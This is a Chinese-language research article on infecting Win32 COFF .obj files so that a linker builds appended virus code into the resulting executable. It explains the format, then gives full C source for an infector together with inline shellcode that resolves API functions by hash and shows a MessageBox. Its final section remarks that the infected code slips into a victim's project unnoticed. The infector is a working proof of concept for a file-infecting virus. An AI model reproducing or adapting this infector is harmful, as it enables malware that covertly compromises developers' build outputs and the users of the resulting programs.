<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            Win32 coff-obj文件感染技術研究

            By nEINEI 
            
            
            [目錄]
            
            [0x01] .簡介
            [0x02] .感染思路
            [0x03] .coff-obj格式
            [0x04] .修改宿主數據
            [0x05] .code
            [0x06] .其它
            
            
            [0x01] .簡介
            
                本文介紹了如何感染win32平臺的coff-obj格式的文件。在沒有rebuild all情況下,被
            感染coff-obj文件將被鏈接器從新合并到新文件當中,病毒代碼也就將寄宿于產生的EXE文
            件中。
            
              
            [0x02] .感染思路
             
                可感染obj文件的病毒非常少,主要集中在感染DOS時期的com文件,最早的感染obj文件
            的病毒是Stormbringer在1993年編寫的shifter。charme的blog上有關于這個的詳細分析
            《感染OBJ文件》。在win32平臺下貌似還沒看到有感染coff-obj格式的病毒,下面將演示如
            何去感染coff-obj文件的實現思路。
             
                主要的想法,還是要獲得coff-obj文件中代碼執行的控制流程,但受coff-obj格式限制,
            使得感染方式不可能像PE文件那樣靈活。但仍然可以用很多思路來突破感染這些瓶頸。
             
                PE文件的主要感染思路                        coff-obj
                 
                1 感染文件頭                                頭部無可操作空間
                2 修改EOP                                   沒有EOP的概念
                3 添加新節                                  可以嘗試
                4 EPO(入口模糊)                          可以嘗試
                5 hook 導入表                               可以嘗試
                6 PE捆綁                                    鏈接器執行會出問題
                7 ...                                       ...
                 
                這里采用比較穩妥的方式來獲得控制流程,就是重新構造一個cof-obj格式的.text段來
            獲得控制流程,下面先看一下coff-obj的文件格式。
                 
            [0x03] .coff-obj格式
            	   
                coff-obj 文件格式比較清晰,由文件頭+可選頭+段+數據+重定位+符號組成。對obj文
            件來說是沒有可選頭的概念的,所以后面提到的coff-obj專指生成的目標文件格式,簡稱obj,
            下面是要構造一個新的.text段的示意圖,實際段的排列和重定位的數據是混合的,此處僅是
            為了方便描述,簡化處理了。
            	   
            	   +--------------+
            	   | FILEHDR      |
            	   +--------------+
            	   | SECHDR1      | -----------\假設此處是原.text段,修改節數據使它指向新的添加數據
            	   +--------------+            | 
            	   | SECHDR2      |            |
            	   +--------------+            | 
            	   | ...          |            |
            	   +--------------+            | 
            	   |  SECHDR N    |            |
            	   +--------------+            |
            	   |  SECDATE     |            |
            	   +--------------+            |
            	   |  LINE        |            |
            	   +--------------+            |
            	   |  Symbol      |            | 
            	   +--------------+            |
            	   |  String      |            |
            	   +--------------+            |
            	   | new data     | <----------.    
            	   +--------------+ 
            	   
                下面使用一個簡單的c程序t_obj來詳細說明obj格式。
            	   
            //----------------------------------------------------------------------
            			#include <stdio.h>
            			int main()
            			{
            				char *title = "hello world!";
            				printf(title);
            			}
            //----------------------------------------------------------------------			
            
            	   cmd > dumpbin /all /disasm t_obj.obj
            	   
                截取主要部分打印數據:
            	   
            //-------------------------------- 文件頭 -------------------------------
            FILE HEADER VALUES
            	   14C machine (i386)
            	     4 number of sections *** 重要的結構,這告訴我們這個obj文件有幾個段,而我們關心的就是.text段
            	4C6DF71D time date stamp  
            	   125 file pointer to symbol table
            	    10 number of symbols
            	     0 size of optional header
            	     0 characteristics
                           
            //-------------------------------- .drectve段 -----------------------------
            //----該段在obj文件被link過程中會被舍棄掉,主要提供給link的命令參數-------
            
            SECTION HEADER #1
            .drectve name
                   0 physical address
                   0 virtual address
                  26 size of raw data
                  B4 file pointer to raw data
                   0 file pointer to relocation table
                   0 file pointer to line numbers
                   0 number of relocations
                   0 number of line numbers
              100A00 flags
                     Info
                     Remove
                     1 byte align
            
            RAW DATA #1
              00000000: 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4C 49 42 43  -defaultlib:LIBC
              00000010: 20 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4F 4C 44  -defaultlib:OLD
              00000020: 4E 41 4D 45 53 20                                NAMES 
            
               Linker Directives
               -----------------
               -defaultlib:LIBC
               -defaultlib:OLDNAMES
            
            //-------------------------------- .text段 -----------------------------
            
            SECTION HEADER #2
            	 .text name
            	     0 physical address
            	     0 virtual address
            	    10 size of raw data                   -----> 段長度,也就是實際編碼長度
            	    DA file pointer to raw data           -----> .text中代碼,相對文件頭部的偏移
            	    EA file pointer to relocation table   -----> 指向.text中需要重定位的數據指針
            	     0 file pointer to line numbers
            	     2 number of relocations              -----> .text中代碼,需要被修正的重定位數量
            	     0 number of line numbers
            	60501020 flags
            	       Code
            	       Communal; sym= _main
            	       16 byte align
            	       Execute Read
            
            _main:
              00000000: 68 00 00 00 00     push    offset _main   ---->此處偏移是0x00000000,還沒有被重定位
              00000005: E8 00 00 00 00     call    0000000A       ---->此處偏移是0x00000000,還沒有被重定位
              0000000A: 59                 pop     ecx
              0000000B: C3                 ret
              0000000C: 90                 nop
              0000000D: 90                 nop
              0000000E: 90                 nop
              0000000F: 90                 nop
            
            RAW DATA #2
              00000000: 68 00 00 00 00 E8 00 00 00 00 59 C3 90 90 90 90  h.........Y.....
              
                具體0x68,0xe8后面的值需要由編譯器來絕對。
              
            
            //--------------------- .text段中的被修正的重定位表 --------------------
            //最終代碼就是根據該表中的值給鏈接器提供信息做最后的重定位依據
            
            RELOCATIONS #2
                                                            Symbol    Symbol
             Offset    Type              Applied To         Index     Name
             --------  ----------------  -----------------  --------  ------
             00000001  DIR32                      00000000         D  ??_C@_0N@NHHG@hello?5world?$CB?$AA@ (`string")
             00000006  REL32                      00000000         A  _printf
                 
                 
                這里說一下,重定位的類型有3類:
                
            DIR32    ---> 直接重定位,多是字符串一類情況,需要有鏈接器最終定位具體的虛擬地址值
            REL32    ---> 相對重定位,當前opcode,相對于要跳轉的函數的相對偏移值
            DIR32NB  ---> 供調試信息使用,與DIR32的區別是重定位值不包含可執行文件的默認加載地址
            
            
                00000001,00000006表示相對.text代碼處要修正的位置偏移,也就是[]括起來的部分
            
            00000000: 68 [00] 00 00 00     push        offset _main    
            00000005: E8 [00] 00 00 00     call        0000000A     
            
            //-------------------------------- .data段 -----------------------------
            
            SECTION HEADER #3
               .data name
                   0 physical address
                   0 virtual address
                   D size of raw data
                  FE file pointer to raw data
                   0 file pointer to relocation table
                   0 file pointer to line numbers
                   0 number of relocations
                   0 number of line numbers
            C0301040 flags
                     Initialized Data
                     Communal; sym= "`string"" (??_C@_0N@NHHG@hello?5world?$CB?$AA@)
                     4 byte align
                     Read Write
            
            RAW DATA #3
              00000000: 68 65 6C 6C 6F 20 77 6F 72 6C 64 21 00           hello world!. 
            
                數據的位置最后由鏈接器來定義。
            
            //------------------------------------------------------------------------------	
               
                下面看一下t_obj.obj在IDA中的顯示情況:
               
            		.text:00000000                  public _main
            		.text:00000000                  _main           proc near
            		.text:00000000 68 10 00 00 00   push    offset ??_C@_0N@NHHG@hello?5world?$CB?$AA@ ; "hello world!"
            		.text:00000005 E8 16 00 00 00   call    _printf
            		.text:0000000A 59               pop     ecx
            		.text:0000000B C3               retn
            		.text:0000000B                  _main           endp
            		
                IDA根據重定位表的格式,對.text段分別修正為0x10 ,0x16 兩個偏移。同時當你增加
            .text coe大小時,鏈接器會自動調整.data的位置。
            
            //------------------------------------------------------------------------------	
            
                最終生成的t_obj.EXE文件顯示情況
                
            		00401000   /$  68 30704000      push t_obj.00407030  ;  ASCII "hello world!"
            		00401005   |.  E8 06000000      call t_obj.00401010
            		0040100A   |.  59               pop ecx
            		0040100B   \.  C3               retn
            		
            
                字符串"hello world!" 被定位到了0x00407030
                print 函數被定位到相對偏移0x05 + 0x6 = 0x0b 的位置,也即是虛擬地址為401010
                
                此時我們知道,如果要修改obj文件的.text代碼是要注意的,要避免修改到重定位的部
            分,否則你的代碼也會被鏈接器改寫。
                
            [0x04] .修改宿主數據
                
                1. 修改.text結構使其指向新加入的病毒代碼位置,下面是段的結構體類型:
                  
            		typedef struct _sec_hdr
            		{ 
            			char c_name[8];              // 段名 
            			unsigned long  ul_v_size;    // 虛擬大小 
            			unsigned long  ul_v_addr;    // 虛擬地址 
            			unsigned long  ul_sec_size;  // 段長度 
            			unsigned long  ul_sec_off;   // 段數據偏移 
            			unsigned long  ul_rel_off;   // 段重定位表偏移 
            			unsigned long  ul_lno_off;   // 行號表偏移 
            			unsigned short ul_num_rel;   // 重定位表個數
            			unsigned short ul_num_ln;    // 行號表長度 
            			unsigned long  ul_flags;     // 段標識 
            		}sec_hdr;
            		
                ul_sec_size --> 修改為原代碼的長度+病毒代碼長度+重定位表長度
                ul_sec_off  --> 指向文件末尾
                
                2. 在分析中發現一個問題,如果把原.text的代碼拷貝到新的空間中而不拷貝重定位數
            據,會導致鏈接器無法執行。生成的EXE文件也無法執行,因為那部分數據被病毒代碼填充,
            鏈接器無法解析。
             
                雖然.text 的代碼部分長度并不包括重定位部分長度,且包括指向段內重定位表偏移的
            指針,鏈接器可以根據原有那個表進行重定位操作,但實際情況是,鏈接器會因為你的修改,
            把原有數據重定位弄錯誤,在IDA中觀察是沒有問題的,但最終生成的EXE文件是完全混亂的。
                  
                所以我的一個猜測是段結構中的重定位偏移僅是提供給外部程序解析參考用的(如IDA,
            dumpbin),而鏈接器只接受默認.text后面就是重定位表的事實。所以為了能執行成功,我
            們還是把重定位部分拷貝過去,所以我們新增數據的長度是以上3部分的長度總和。
             
                3. 修改原有代碼,使其跳向病毒代碼。
                
              _main:
              00000000: 68 00 00 00 00     push        offset _main
              00000005: E8 00 00 00 00     call        0000000A
              0000000A: 59                 pop         ecx
              0000000B: C3                 ret ----------------\       
              0000000C: 90                 nop                 |
              0000000D: 90                 nop                 |
              0000000E: 90                 nop                 |
              0000000F: 90                 nop                 |
              ... 注意此處是重定位表的數據,要跳過該部分長度   |                                                |
                                                               |
              000000xx: nop <----------------------------------/
              000000xx: nop
              000000xx: nop
              ...virus code 
              
                4. 返回原代碼部分
                
                簡單的情況,可直接在病毒代碼中ret返回即可,宿主情況復雜的話,需要計算好偏移
            重新跳回去。
                
                5. 感染后的情況
              
              SECTION HEADER #2
               .text name
                   0 physical address
                   0 virtual address
                  D9 size of raw data                     ----> 長度已經被重新計算
                 26D file pointer to raw data             ----> 指向了文件末尾
                  EA file pointer to relocation table     ----> 沒有修改原有重定位表
                   0 file pointer to line numbers
                   2 number of relocations
                   0 number of line numbers
            60501020 flags
                     Code
                     Communal; sym= _main
                     16 byte align
                     Execute Read
            
            _main:
              00000000: 68 00 00 00 00     push        offset _main
              00000005: E8 00 00 00 00     call        0000000A
              0000000A: 59                 pop         ecx
              0000000B: EB 1C              jmp         00000029  -------------------\
              0000000D: 00 00              add         byte ptr [eax],al            |
              0000000F: 00 01              add         byte ptr [ecx],al            |
              00000011: 00 00              add         byte ptr [eax],al            |
              00000013: 00 0D 00 00 00 06  add         byte ptr ds:[6000000h],cl    |
              00000019: 00 06              add         byte ptr [esi],al            |
              0000001B: 00 00              add         byte ptr [eax],al            | 
              0000001D: 00 0A              add         byte ptr [edx],cl            |
              0000001F: 00 00              add         byte ptr [eax],al            |
              00000021: 00 14 00           add         byte ptr [eax+eax],dl        |
              00000024: 68 65 6C 6C 90     push        906C6C65h                    |
              00000029: 90                 nop   <----------------------------------/    跳向了我們想要執行的代碼                    
              0000002A: 90                 nop
              0000002B: 90                 nop
              0000002C: 90                 nop
              0000002D: 90                 nop
              0000002E: 90                 nop
              0000002F: 90                 nop
              00000030: 90                 nop
              00000031: FC                 cld
              00000032: 68 6A 0A 38 1E     push        1E380A6Ah
              00000037: 68 63 89 D1 4F     push        4FD18963h
              0000003C: 68 32 74 91 0C     push        0C917432h
              00000041: 8B F4              mov         esi,esp
              00000043: 8D 7E F4           lea         edi,[esi-0Ch]
              ...
            
            
            [0x05] .code
            
                代碼演示的部分僅彈出一個MessageBox,我比較懶,所以偷懶用failwest的一個shellcode_popup_general
            代碼(thx ^_^)稍作修改。 
                
            //------------------------------------------------------------------------------
            #include <stdio.h>
            #include <string.h>
            #include <malloc.h>
            void vir_code(void);
            void vir_code_end(void);
            int main(int argc, char* argv[])
            {	
            	FILE            *h = 0; 
            	unsigned char *buf = 0;
            	int        numread = 0;
            	int              i = 0;
            	int         f_size = 0;
            	int       vir_size = 0;
            	int         a_size = 0;
            	int        tx_off = 0;
            	
            	// coff-obj 文件頭結構
            	typedef struct _coff_obj_header
            	{
            		short int magic;
            		short int sections;
            		long      t_stamp;
            		long      symbol_to_pointer;
            		long      symbol_to_number;
            		short int optional_header;
            		short int flgs;
            	}coff_obj_header;
            
            	typedef struct _sec_hdr
            	{ 
            		char c_name[8];              // 段名 
            		unsigned long  ul_v_size;    // 虛擬大小 
            		unsigned long  ul_v_addr;    // 虛擬地址 
            		unsigned long  ul_sec_size;  // 段長度 
            		unsigned long  ul_sec_off;   // 段數據偏移 
            		unsigned long  ul_rel_off;   // 段重定位表偏移 
            		unsigned long  ul_lno_off;   // 行號表偏移 
            		unsigned short ul_num_rel;   // 重定位表個數
            		unsigned short ul_num_ln;    // 行號表長度 
            		unsigned long  ul_flags;     // 段標識 
            	}sec_hdr;
            
            	typedef struct _reloc_s
            	{
            		unsigned long  ul_off;        // 定位偏移 
            		unsigned long  ul_symbol;     // 符號
            		unsigned short us_type;       // 定位類型
            	}reloc_s;
            
            	coff_obj_header coh_buf;
            	sec_hdr              sh;
            
            	long            tx_rel_off;       
            	long            tx_rel_len;      
            	long            txt_len;         
            	long            txt_off;
             
            
            	if (argc <2)
            	{
            		printf("please enter the obj file path to infection\n");
            		return 0;
            	}
            	
            	if (0 == (h = fopen(argv[1],"r+")))
            	{
            		printf("the file %s was not opened\n",argv[2]);
            		return 0;
            	}
            	
            	fseek(h,0,SEEK_END); 
            	f_size = ftell(h);
            	fseek(h,0,SEEK_SET);
            	
            	numread  = fread(&coh_buf,sizeof (coff_obj_header),1,h);
            
            	for(i = 0 ; i < coh_buf.sections;i++)
            	{
            		fread(&sh,sizeof(sec_hdr),1,h);
            
            		if (0 == strnicmp(".text",sh.c_name,5))
            		{
            			tx_off  = sizeof(coff_obj_header) + i * sizeof(sec_hdr);
            			txt_off = sh.ul_sec_off;
            			txt_len = sh.ul_sec_size;
            
            			//讀取重定位表數據
            			tx_rel_off = sh.ul_rel_off;
            			tx_rel_len = sh.ul_num_rel * sizeof(reloc_s);  
            			break;
            		}
            	}
            	
            	// 構造一個新的obj緩沖區
            	vir_size = (int)((int)&vir_code_end - (int)&vir_code);
            
            	a_size   = f_size + vir_size + tx_rel_len + 1;
            	buf      = (unsigned char *)malloc(a_size);
            	
            	memset(buf,0,f_size + vir_size +1);
            	
            	fseek(h,0,SEEK_SET);
            	fread(buf,sizeof(unsigned char),f_size,h);
            	fclose(h);	
            	h = 0;
            
            	// 修改text節的執行	
            	// 將原有.text數據定位的文件尾部
              
            	printf("buff + f_size :%0x\n",buf + f_size);
            	memcpy(buf + f_size,buf + txt_off,txt_len);
            	
            	// copy重定位表
            	memcpy(buf + f_size + txt_len,buf + tx_rel_off,tx_rel_len);
            
            	// copy virus
            	memcpy(buf + f_size + txt_len + tx_rel_len,vir_code,vir_size);
            	
            	// 修改.text節代碼偏移
            	//sh.ul_sec_size
            	(*(unsigned long *)(buf + tx_off + 8 + 4 + 4))     = txt_len + vir_size + 9;
            	//sh.ul_sec_off
            	(*(unsigned long *)(buf + tx_off + 8 + 4 + 4 + 4)) = f_size;
            	
            	// 修改原有ret指令,跳過重定位表,此處需要反匯編引擎支持,搜索0xc3,定位要修改的jmp 位置,POC演示直接定位.
            	
            	(*(unsigned char *)(buf + f_size + 0x0b)) = 0xeb;
            	(*(unsigned long *)(buf + f_size + 0x0c)) = (txt_len - 0xc) + tx_rel_len - 1;
            
            	// 加入ret指令返回,或跳轉會宿主
            	// ...
            	
            	// 寫入一個新的obj	
            	if(0 ==(h = fopen("t_obj.obj","wb")))
            	{
            		printf("the file t_obj.obj was not created\n");
            		return 0;
            	}
            	fwrite(buf,sizeof(unsigned char),a_size,h);
            	fclose(h);
            	return 1;
            }
            __declspec(naked) void vir_code(void)
            { 
            	_asm{	
            			nop
            			nop
            			nop
            			nop
            			nop
            			nop
            			nop
            			nop
            			nop
            			CLD               ; clear flag DF
            			                  ;store hash
            			push 0x1e380a6a   ;hash of MessageBoxA
            			push 0x4fd18963   ;hash of ExitProcess
            			push 0x0c917432   ;hash of LoadLibraryA
            			mov esi,esp       ; esi = addr of first function hash 
            			lea edi,[esi-0xc] ; edi = addr to start writing function 
            			; make some stack space
            			xor ebx,ebx
            			mov bh, 0x04 			 
            			sub esp, ebx 			
                                    ; push a pointer to "user32" onto stack 
            			mov bx, 0x3233    ; rest of ebx is null 
            			push ebx 
            			push 0x72657375 
            			push esp 
            			
            			xor edx,edx
            			; find base addr of kernel32.dll 
            			mov ebx, fs:[edx + 0x30]  
            			mov ecx, [ebx + 0x0c] 	 
            			mov ecx, [ecx + 0x1c] 		 
            			mov ecx, [ecx]            
            			mov ebp, [ecx + 0x08] 	 	
            		find_lib_functions: 
            		
            			lodsd 					          
            			cmp eax, 0x1e380a6a		    
            									              
            			jne find_functions 
            			xchg eax, ebp 			     
            			call [edi - 0x8] 		      
            			xchg eax, ebp 			       
            									            
            		find_functions: 
            			pushad 						       
            			mov eax, [ebp + 0x3c]		  
            			mov ecx, [ebp + eax + 0x78]	 
            			add ecx, ebp 				      
            			mov ebx, [ecx + 0x20] 	 
            			add ebx, ebp 				     
            			xor edi, edi 				     
            
            		next_function_loop: 
            			inc edi 					         
            			mov esi, [ebx + edi * 4] 	 
            			add esi, ebp 				      
            			cdq 						           
            			
            		hash_loop: 
            			movsx eax, byte ptr[esi]
            			cmp al,ah
            			jz compare_hash
            			ror edx,7
            			add edx,eax
            			inc esi
            			jmp hash_loop
            
            		compare_hash:	
            			cmp edx, [esp + 0x1c] 		 
            			jnz next_function_loop 
            			
            		 
            			mov ebx, [ecx + 0x24] 		 
            			add ebx, ebp 				 
            			mov di, [ebx + 2 * edi] 	 
            			mov ebx, [ecx + 0x1c] 		 
            			add ebx, ebp 				 
            			add ebp, [ebx + 4 * edi]  
            										 
            			xchg eax, ebp 				 
            			pop edi 					 
            			stosd 					 
            			push edi 
            			popad				 					 				 
            			cmp eax,0x1e380a6a
            			jne find_lib_functions 
            
            		function_call:
            			xor ebx,ebx
            			push ebx              // cut string
            			push 0x00726574       // show Win32.Swelter
            			push 0x6C657753		 
            			mov eax,esp           //load address of Swelter
            			push ebx	
            			push eax
            			push eax
            			push ebx
            			call [edi - 0x04]     //call MessageboxA
            			push ebx
            			call [edi - 0x08]     // call ExitProcess
            			ret			
            	}
            }
            __declspec(naked) void vir_code_end(void)
            {
            	
            }
            //------------------------------------------------------------------------------
            
            
            [0x06] .其它
            
                關于感染的方式還有很多中方法,比如利用重定位表,構造一個加載后能跳轉到virus code
            值,感興趣的朋友可以去嘗試下,coff - obj的感染條件比較苛刻,至少要在有編譯器的機
            器上搜索到有obj才行,并且沒有做rebuild all 操作,而是直接編譯鏈接代碼,這樣才會神
            不知鬼不覺的把病毒代碼編譯進自己的工程里面來。
                  
                由于對鏈接器原理理解不夠深入及對coff文件格式本身理解不準的地方可能導致本文存
            在描述中存在疏漏,如果有什么問題給mail我,neineit@gmail.com,歡迎交流指正。
            
            
            附參考文獻:
            
            [1] Matt Pietrek.    《Linker Algorithm》
            [2] John R. Levine.  《Linkers & Loaders》
            [3] coff 格式.        http://baike.baidu.com/view/1240794.htm
            [4] failwest.        《shellcode_popup_general》
            
            附件下載
            -EOF-
            
            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线